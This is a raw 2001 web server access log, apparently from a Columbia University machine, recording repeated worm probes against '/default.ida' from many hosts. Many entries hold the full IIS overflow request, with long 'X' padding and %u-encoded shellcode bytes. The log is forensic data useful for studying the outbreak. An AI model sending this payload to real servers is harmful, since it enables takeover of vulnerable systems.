13:26:39: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 13:28:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 13:29:11: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 13:37:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 13:39:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 14:06:38: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 14:22:08: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 14:41:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 14:50:38: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 16:16:53: lewb41.dsp.columbia.edu [128.59.207.93] "GET /default.ida.." 20010828 16:29:44: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 16:35:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 16:36:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 16:42:33: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /d.." 20010828 16:54:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 17:16:31: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 17:38:15: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 17:54:12: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 17:57:33: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 18:00:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 18:01:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 18:02:13: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 18:04:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 18:06:42: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 18:08:39: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 18:16:43: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 18:23:07: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 18:24:48: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 19:09:56: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 20:07:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 21:10:12: [202.103.173.97] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 21:13:55: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 21:14:06: dynamic-104-216.dyn.columbia.edu [128.59.104.216] "GET /d.." 20010828 21:16:04: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 21:56:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 22:33:26: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 22:49:28: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 22:56:48: woos-max3-cs-17.dial.bright.net [209.143.18.134] "GET /de.." 20010828 22:59:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 23:16:27: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 23:51:37: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 23:53:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 23:53:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 23:56:41: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010829 00:08:56: [202.99.100.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010829 00:47:18: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 01:33:36: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 01:40:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 01:49:23: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010829 02:04:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 02:23:21: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 02:27:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 02:40:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 03:04:11: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 03:50:59: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010829 04:26:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010829 04:40:18: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 04:58:13: r132155.res.Lehigh.EDU [128.180.132.155] "GET /default.id.." 20010829 05:00:28: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 05:01:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 05:16:24: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010829 05:39:16: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.." 20010829 05:39:27: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.." 20010829 05:39:27: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.." 20010829 05:39:44: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.." 20010829 05:39:45: dlan0259.dircon.co.uk [195.157.160.94] "GET /default.ida?.." 20010829 05:53:31: fdt40.eastnet.gatech.edu [128.61.100.104] "GET /default.i.." 20010829 06:11:33: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 06:18:13: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010829 07:19:28: lems14.lems.brown.edu [128.148.16.73] "GET /default.ida?X.." 20010829 07:48:46: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 08:27:38: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010829 09:04:27: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 09:06:08: [61.187.25.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.." 20010829 09:17:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 09:19:17: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010829 09:35:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 09:42:49: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 10:00:19: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010829 10:16:25: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 10:34:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010829 10:53:00: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 10:55:51: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:09:58: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:14:11: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:24:46: dynamic-31-217.dyn.columbia.edu [128.59.31.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:25:57: [202.110.77.186] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:28:50: hill-d-196.resnet.purdue.edu [128.211.207.196] "" 20010829 11:35:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:45:24: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:46:52: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 11:57:55: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:02:44: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:07:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:08:35: dynamic-33-244.dyn.columbia.edu [128.59.33.244] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:17:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:34:48: [210.110.64.206] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 12:57:35: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:09:32: [210.13.64.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:20:19: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:25:21: [203.228.126.161] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:27:32: syru229-205.syr.edu [128.230.229.205] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:48:11: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 13:55:59: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 14:20:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 14:26:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 14:41:35: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 14:41:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 15:06:19: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 15:29:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 15:37:42: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010829 15:51:23: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET 